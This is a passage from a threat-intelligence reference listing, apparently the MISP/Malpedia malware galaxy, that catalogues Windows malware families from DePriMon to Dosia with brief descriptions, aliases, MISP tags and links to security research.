According to ESET Research, DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, researcher believe it to be a framework.

DePriMon has been active since at least March 2017. DePriMon was detected in a private company, based in Central Europe, and at dozens of computers in the Middle East.

The tag is: misp-galaxy:malpedia="Deprimon"

Deprimon is also known as:

Table 2889. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.deprimon">https://malpedia.caad.fkie.fraunhofer.de/details/win.deprimon</a></td>
</tr>
</tbody>
</table>

DeputyDog

The tag is: misp-galaxy:malpedia="DeputyDog"

DeputyDog is also known as:

Table 2890. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog">https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog</a></td>
</tr>
</tbody>
</table>
DeriaLock

The tag is: `misp-galaxy:malpedia="DeriaLock"`

DeriaLock is also known as:

Table 2891. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.deria_lock">https://malpedia.caad.fkie.fraunhofer.de/details/win.deria_lock</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/812601286088597505">https://twitter.com/struppigel/status/812601286088597505</a></td>
</tr>
</tbody>
</table>

DeroHE

DeroHE is a ransomware that was spread to users after IObit, a Windows utility developer, was hacked. The malware is delivered a DLL that is sideloaded by a legitimate, signed IObit License Manager application.

The tag is: `misp-galaxy:malpedia="DeroHE"`

DeroHE is also known as:

Table 2892. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.derohe">https://malpedia.caad.fkie.fraunhofer.de/details/win.derohe</a></td>
</tr>
</tbody>
</table>

Derusbi (Windows)

A DLL backdoor also reported publicly as "Derusbi", capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files.

The tag is: `misp-galaxy:malpedia="Derusbi (Windows)"`
Derusbi (Windows) is also known as:

- PHOTO

Table 2893. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi">https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0096">https://attack.mitre.org/groups/G0096</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0001/">https://attack.mitre.org/groups/G0001/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-firestone">https://www.secureworks.com/research/threat-profiles/bronze-firestone</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-mohawk">https://www.secureworks.com/research/threat-profiles/bronze-mohawk</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-keystone">https://www.secureworks.com/research/threat-profiles/bronze-keystone</a></td>
</tr>
</tbody>
</table>

**DesertBlade**

According to Microsoft, this was used in a limited destructive malware attack in early March 2022 impacting a single Ukrainian entity. DesertBlade is responsible for iteratively overwriting and then deleting overwritten files on all accessible drives (sparing the system if it is a domain controller).

The tag is: *misp-galaxy:malpedia="DesertBlade"*

DesertBlade is also known as:
Table 2894. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.desertblade">https://malpedia.caad.fkie.fraunhofer.de/details/win.desertblade</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=mrTdSdMMgnk">https://www.youtube.com/watch?v=mrTdSdMMgnk</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/</a></td>
</tr>
</tbody>
</table>

Devil’s Rat

The tag is: *misp-galaxy:malpedia=“Devil’s Rat”*

Devil’s Rat is also known as:

Table 2895. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.devils_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.devils_rat</a></td>
</tr>
</tbody>
</table>

DevOpt

The tag is: *misp-galaxy:malpedia=“DevOpt”*

DevOpt is also known as:

Table 2896. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.devopt">https://malpedia.caad.fkie.fraunhofer.de/details/win.devopt</a></td>
</tr>
</tbody>
</table>

Dexbia

The tag is: *misp-galaxy:malpedia=“Dexbia”*

Dexbia is also known as:

- CONIME

Table 2897. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dexbia">https://malpedia.caad.fkie.fraunhofer.de/details/win.dexbia</a></td>
</tr>
</tbody>
</table>
**Dexphot**

Dexphot is a cryptominer Malware attacking windows machines to gain profit from their resources. It implements many techniques to evade common security systems and a file-less technology to become inject malicious behavior. According to Microsoft the Dexphot It hijacked legitimate system processes to disguise malicious activity. If not stopped, Dexphot is equipped by monitoring services and scheduled tasks triggering re-infection when defenders attempt to remove the malware.

The tag is: *misp-galaxy:malpedia="Dexphot"

Dexphot is also known as:

<table>
<thead>
<tr>
<th>Table 2898. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dexphot">https://malpedia.caad.fkie.fraunhofer.de/details/win.dexphot</a></td>
</tr>
</tbody>
</table>

**Dexter**

Dexter is a computer virus or point of sale malware which infects computers running Microsoft Windows and was discovered by IT security firm Seculert, in December 2012. It infects PoS systems worldwide and steals sensitive information such as Credit Card and Debit Card information.

The tag is: *misp-galaxy:malpedia="Dexter"

Dexter is also known as:

- LusyPOS

<table>
<thead>
<tr>
<th>Table 2899. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter">https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html">http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html</a></td>
</tr>
<tr>
<td><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/">https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/</a></td>
</tr>
<tr>
<td><a href="https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html">https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html</a></td>
</tr>
<tr>
<td><a href="https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html">https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html</a></td>
</tr>
</tbody>
</table>

**Dharma**

According to MalwareBytes, the Dharma Ransomware family is installed manually by attackers
hacking into computers over Remote Desktop Protocol Services (RDP). The attackers will scan the Internet for computers running RDP, usually on TCP port 3389, and then attempt to brute force the password for the computer.

Once they gain access to the computer they will install the ransomware and let it encrypt the computer. If the attackers are able to encrypt other computers on the network, they will attempt to do so as well.

The tag is: misp-galaxy:malpedia="Dharma"

Dharma is also known as:

- Arena
- Crysis
- Wadhrama
- ncov

Table 2900. Table References

Links

[https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma](https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma)
[https://securelist.com/cis-ransomware/104452/](https://securelist.com/cis-ransomware/104452/)
[https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/](https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/)
[https://www.youtube.com/watch?v=LUxOcpIRxmg](https://www.youtube.com/watch?v=LUxOcpIRxmg)
[https://mandiant.widen.net/s/pkffwrbjz/m-trends-2023](https://mandiant.widen.net/s/pkffwrbjz/m-trends-2023)
[https://thedefirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/](https://thedefirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/)
According to PCrisk, DiamondFox is highly modular malware offered as malware-as-a-service, and is for sale on various hacker forums. Therefore, cyber criminals who are willing to use DiamondFox do not necessarily require any technical knowledge to perform their attacks.
Once purchased, this malware can be used to log keystrokes, steal credentials (e.g., usernames, email addresses, passwords), hijack cryptocurrency wallets, perform distributed denial of service (DDoS) attacks, and to carry out other malicious tasks.

DiamondFox allows cyber criminals to choose which plug-ins to keep activated and see infection statistics in real-time.

The tag is: `misp-galaxy:malpedia="DiamondFox"`

DiamondFox is also known as:

- Crystal
- Gorynch
- Gorynych

**Table 2901. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.diamondfox">https://malpedia.caad.fkie.fraunhofer.de/details/win.diamondfox</a></td>
</tr>
<tr>
<td><a href="https://fr3d.hk/blog/diamondfox-bank-robbers-will-be-replaced">https://fr3d.hk/blog/diamondfox-bank-robbers-will-be-replaced</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/">https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/</a></td>
</tr>
<tr>
<td><a href="http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/">http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/</a></td>
</tr>
<tr>
<td><a href="https://www.scmagazine.com/inside-diamondfox/article/578478/">https://www.scmagazine.com/inside-diamondfox/article/578478/</a></td>
</tr>
<tr>
<td><a href="https://blog.cylance.com/a-study-in-bots-diamondfox">https://blog.cylance.com/a-study-in-bots-diamondfox</a></td>
</tr>
</tbody>
</table>

**Diavol**

A ransomware with potential ties to Wizard Spider.

The tag is: `misp-galaxy:malpedia="Diavol"`

Diavol is also known as:

**Table 2902. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol">https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider">https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider</a></td>
</tr>
<tr>
<td><a href="https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday">https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday</a></td>
</tr>
</tbody>
</table>
DICELOADER

A RAT written in .NET, used by FIN7 since 2021. In some instances dropped by ps1.powertrash.

The tag is: `misp-galaxy:malpedia="DICELOADER"`

DICELOADER is also known as:

- Lizar

Table 2903. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.diceloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.diceloader</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/evolution-of-fin7">https://www.mandiant.com/resources/blog/evolution-of-fin7</a></td>
</tr>
<tr>
<td><a href="https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319">https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319</a></td>
</tr>
</tbody>
</table>

DILLJUICE

APT10's fork of the (open-source) Quasar RAT.

The tag is: `misp-galaxy:malpedia="DILLJUICE"`

DILLJUICE is also known as:

Table 2904. Table References
DilongTrash

Downloader.

The tag is: `misp-galaxy:malpedia="DilongTrash"`

DilongTrash is also known as:

Table 2905. Table References

Dimnie

The tag is: `misp-galaxy:malpedia="Dimnie"`

Dimnie is also known as:

Table 2906. Table References

DinodasRAT

The tag is: `misp-galaxy:malpedia="DinodasRAT"`

DinodasRAT is also known as:

Table 2907. Table References
DinoTrain
Downloader.

The tag is: *misp-galaxy:malpedia=*DinoTrain*

DinoTrain is also known as:

Table 2908. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/">https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/</a></td>
</tr>
</tbody>
</table>

DirCrypt

The tag is: *misp-galaxy:malpedia=*DirCrypt*

DirCrypt is also known as:

Table 2909. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt</a></td>
</tr>
<tr>
<td><a href="https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/">https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/</a></td>
</tr>
</tbody>
</table>

DirtyMoe

The tag is: *misp-galaxy:malpedia=*DirtyMoe*

DirtyMoe is also known as:

Table 2910. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dirtymoe">https://malpedia.caad.fkie.fraunhofer.de/details/win.dirtymoe</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/martinchlumecky/dirtymoe-5/">https://decoded.avast.io/martinchlumecky/dirtymoe-5/</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/">https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/martinchlumecky/dirtymoe-4/">https://decoded.avast.io/martinchlumecky/dirtymoe-4/</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/martinchlumecky/dirtymoe-3/">https://decoded.avast.io/martinchlumecky/dirtymoe-3/</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/martinchlumecky/dirtymoe-1/">https://decoded.avast.io/martinchlumecky/dirtymoe-1/</a></td>
</tr>
</tbody>
</table>
DispCashBR

The tag is: misp-galaxy:malpedia="DispCashBR"

DispCashBR is also known as:

Table 2911. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dispcashbr">https://malpedia.caad.fkie.fraunhofer.de/details/win.dispcashbr</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/r3c0nst/status/1232944566208286720">https://twitter.com/r3c0nst/status/1232944566208286720</a></td>
</tr>
</tbody>
</table>

DispenserXFS

The tag is: misp-galaxy:malpedia="DispenserXFS"

DispenserXFS is also known as:

Table 2912. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs">https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cyb3rops/status/1101138784933085191">https://twitter.com/cyb3rops/status/1101138784933085191</a></td>
</tr>
</tbody>
</table>

DistTrack

The tag is: misp-galaxy:malpedia="DistTrack"

DistTrack is also known as:

- Shamoon

Table 2913. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack">https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack</a></td>
</tr>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/">http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/</a></td>
</tr>
</tbody>
</table>
Divergent

The tag is: misp-galaxy:malpedia="Divergent"

Divergent is also known as:

- Novter

Table 2914. Table References

Links
Diztakun

The tag is: misp-galaxy:malpedia="Diztakun"

Diztakun is also known as:

Table 2915. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.diztakun">https://malpedia.caad.fkie.fraunhofer.de/details/win.diztakun</a></td>
</tr>
</tbody>
</table>

DMA Locker

The tag is: misp-galaxy:malpedia="DMA Locker"

DMA Locker is also known as:

Table 2916. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker">https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/">https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2016/05/dma-locker-4-0-known-ransomware-preparing-for-a-massive-distribution/">https://blog.malwarebytes.com/threat-analysis/2016/05/dma-locker-4-0-known-ransomware-preparing-for-a-massive-distribution/</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-strikes-back/">https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-strikes-back/</a></td>
</tr>
</tbody>
</table>

DMSniff

DMSniff is a point-of-sale malware previously only privately sold. It has been used in breaches of small- and medium-sized businesses in the restaurant and entertainment industries. It uses a domain generation algorithm (DGA) to create lists of command-and-control domains on the fly.
DMSniff is also known as:

Table 2917. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff

DneSpy

DneSpy collects information, takes screenshots, and downloads and executes the latest version of other malicious components in the infected system. The malware is designed to receive a “policy” file in JSON format with all the commands to execute. The policy file sent by the C&C server can be changed and updated over time, making dneSpy flexible and well-designed. The output of each executed command is zipped, encrypted, and exfiltrated to the C&C server. These characteristics make dneSpy a fully functional espionage backdoor.

DnSpy is also known as:

Table 2918. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.dnespy

DNSChanger

The tag is: misp-galaxy:malpedia="DNSChanger"

DNSChanger is also known as:

Table 2919. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.dnschanger
https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/
DNSMessenger

DNSMessenger makes use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker.

The tag is: misp-galaxy:malpedia="DNSMessenger"

DNSMessenger is also known as:

• TEXTMATE

Table 2920. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dnsmessenger">https://malpedia.caad.fkie.fraunhofer.de/details/win.dnsmessenger</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2017/10/dnsmessenger-sec-campaign.html">https://blog.talosintelligence.com/2017/10/dnsmessenger-sec-campaign.html</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2017/03/dnsmessenger.html">https://blog.talosintelligence.com/2017/03/dnsmessenger.html</a></td>
</tr>
<tr>
<td><a href="http://wraithhacker.com/2017/10/11/more-info-on-evolved-dnsmessenger/">http://wraithhacker.com/2017/10/11/more-info-on-evolved-dnsmessenger/</a></td>
</tr>
<tr>
<td><a href="https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/">https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/</a></td>
</tr>
</tbody>
</table>

DNSpionage

The tag is: misp-galaxy:malpedia="DNSpionage"

DNSpionage is also known as:

• Agent Drable
• AgentDrable
• Webmask

Table 2921. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage">https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-edgewater">https://www.secureworks.com/research/threat-profiles/cobalt-edgewater</a></td>
</tr>
<tr>
<td><a href="https://blog-cert.opmd.fr/dnspionage-focus-on-internal-actions/">https://blog-cert.opmd.fr/dnspionage-focus-on-internal-actions/</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2019/04/23/apt34-webmask-project/">https://marcoramilli.com/2019/04/23/apt34-webmask-project/</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/AA19-024A">https://www.us-cert.gov/ncas/alerts/AA19-024A</a></td>
</tr>
</tbody>
</table>
**dnWipe**

The tag is: `misp-galaxy:malpedia="dnWipe"`

dnWipe is also known as:

*Table 2922. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**DogHousePower**

DogHousePower is a PyInstaller-based ransomware targeting web and database servers. It is delivered through a PowerShell downloader and was hosted on Github.

The tag is: `misp-galaxy:malpedia="DogHousePower"`

DogHousePower is also known as:

- Shelma

*Table 2923. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doghousepower">https://malpedia.caad.fkie.fraunhofer.de/details/win.doghousepower</a></td>
</tr>
</tbody>
</table>
**Minodo**

Since late February 2023, Minodo Backdoor campaigns have been employed to deliver either the Project Nemesis information stealer or more sophisticated backdoors like Cobalt Strike. This backdoor collects basic system information, which it then transmits to the C2 server. In return, it receives an AES-encrypted payload. Notably, the Minodo Backdoor is designed to contact a different C2 address for domain-joined systems. This suggests that more capable backdoors, such as Cobalt Strike, are downloaded on higher-value targets instead of Project Nemesis.

The tag is: *misp-galaxy:malpedia=*"Minodo"

Minodo is also known as:

*Table 2924. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.domino">https://malpedia.caad.fkie.fraunhofer.de/details/win.domino</a></td>
</tr>
</tbody>
</table>

**DONOT**

Donot malware is a sophisticated, high-level malware toolkit designed to collect and exfiltrate information from vulnerable systems. It has been used in targeted attacks against government and military organizations in Asia. Donot malware is highly complex and well-crafted, and it poses a serious threat to information security.

The tag is: *misp-galaxy:malpedia=*"DONOT"

DONOT is also known as:

*Table 2925. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://labs.k7computing.com/index.php/the-donot-apt/">https://labs.k7computing.com/index.php/the-donot-apt/</a></td>
</tr>
</tbody>
</table>

**donutInjector**

Donut is an open-source in-memory injector/loader, designed for execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It was used during attacks against U.S. organisations according to Threat Hunter Team (Symantec) and U.S. Defence contractors (Unit42). Github:
The tag is: `misp-galaxy:malpedia="donut_injector"`

donut_injector is also known as:

- Donut

**Table 2926. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.donut_injector">https://malpedia.caad.fkie.fraunhofer.de/details/win.donut_injector</a></td>
</tr>
<tr>
<td><a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us">https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us</a></td>
</tr>
<tr>
<td><a href="https://thewover.github.io/Introducing-Donut/">https://thewover.github.io/Introducing-Donut/</a></td>
</tr>
</tbody>
</table>

**DoorMe**

The tag is: `misp-galaxy:malpedia="DoorMe"`

DoorMe is also known as:

**Table 2927. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme">https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme</a></td>
</tr>
<tr>
<td><a href="http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf">http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf</a></td>
</tr>
</tbody>
</table>

**DoppelDridex**

DoppelDridex is a fork of Indrik Spider's Dridex malware. DoppelDridex has been run as a parallel operation to Dridex with a different malware versioning system, different RSA key, and with different infrastructure.

The tag is: `misp-galaxy:malpedia="DoppelDridex"`

DoppelDridex is also known as:

**Table 2928. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doppeldridex">https://malpedia.caad.fkie.fraunhofer.de/details/win.doppeldridex</a></td>
</tr>
</tbody>
</table>
DoppelPaymer

DoppelPaymer is a ransomware family that encrypts user data and later on it asks for a ransom in order to restore original files. It is recognizable by its trademark file extension added to encrypted files: .doppeled. It also creates a note file named: ".how2decrypt.txt".

The tag is: misp-galaxy:malpedia="DoppelPaymer"

DoppelPaymer is also known as:

- Pay OR Grief

Table 2929. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer">https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/BrettCallow/status/1453557686830727177?s=20">https://twitter.com/BrettCallow/status/1453557686830727177?s=20</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://twitter.com/AltShiftPrtScn/status/1385103712918642688">https://twitter.com/AltShiftPrtScn/status/1385103712918642688</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html">https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/">https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/</a></td>
</tr>
<tr>
<td><a href="https://sites.temple.edu/care/ci-rw-attacks/">https://sites.temple.edu/care/ci-rw-attacks/</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/grief-ransomware/">https://redcanary.com/blog/grief-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/">https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-heron">http://www.secureworks.com/research/threat-profiles/gold-heron</a></td>
</tr>
<tr>
<td><a href="https://killingthebear.jorgetesta.tech/actors/evil-corp">https://killingthebear.jorgetesta.tech/actors/evil-corp</a></td>
</tr>
<tr>
<td><a href="https://techcrunch.com/2020/03/01/visser-breach/">https://techcrunch.com/2020/03/01/visser-breach/</a></td>
</tr>
<tr>
<td><a href="https://docs.google.com/spreadsheets/d/1MI8Z2tBhmQ5X8Wf_ozv3dVjz5sJ0s-3">https://docs.google.com/spreadsheets/d/1MI8Z2tBhmQ5X8Wf_ozv3dVjz5sJ0s-3</a></td>
</tr>
<tr>
<td><a href="https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer">https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html">https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html</a></td>
</tr>
</tbody>
</table>
NgrBot

The tag is: `misp-galaxy:malpedia="NgrBot"`

NgrBot is also known as:

Table 2930. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot
https://blog.trendmicro.com/trendlabs-security-intelligence/the-dorkbot-rises/
https://research.checkpoint.com/dorkbot-an-investigation/

Dorshel

The tag is: `misp-galaxy:malpedia="Dorshel"`

Dorshel is also known as:

Table 2931. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel
Dosia

The tag is: misp-galaxy:malpedia="Dosia"

Dosia is also known as:

- DDOSIA

Table 2932. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
